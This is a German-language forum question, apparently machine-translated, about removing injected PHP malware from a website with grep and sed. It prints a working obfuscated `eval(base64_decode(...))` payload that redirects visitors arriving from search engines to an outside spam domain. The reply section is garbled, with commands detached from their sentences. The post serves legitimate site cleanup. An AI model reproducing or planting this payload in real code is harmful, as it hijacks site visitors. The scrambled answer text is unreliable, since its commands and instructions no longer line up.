Ich versuche, die Befehle auf http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ zu verwenden, um einen PHP-basierten Hack zu bereinigen auf einer Website.
Beispielcode zum Abgleichen / Entfernen
<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9"));
Versuchter Befehl:
sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g'
Das Sudo wurde hinzugefügt, da es eine Lese- / Schreibberechtigung für das Verzeichnis benötigt, auf das ich zugreife. Die Dateien werden von grep korrekt aufgelistet, aber nicht von sed geändert. Irgendwelche Vorschläge?
grep –l…
Befehl ausführen (sudo
ggf. für Lesezugriff verwenden), wählen Sie eine der aufgelisteten Dateien aus, und geben Sie densudo sed –i.bak …
Dateinamen gefolgt von diesem ein. Was passiert dann?sudo -s
sollten Sie auf diesem System rooten, damit Sie lesen / schreiben können, was Sie wollen. Wenn root nicht auf etwas zugreifen kann,chmod
sollten Sie sich davon lösen. (Wenn es sich um ein RO-Dateisystem handelt,cat /etc/fstab
sollte sich das zeigen.)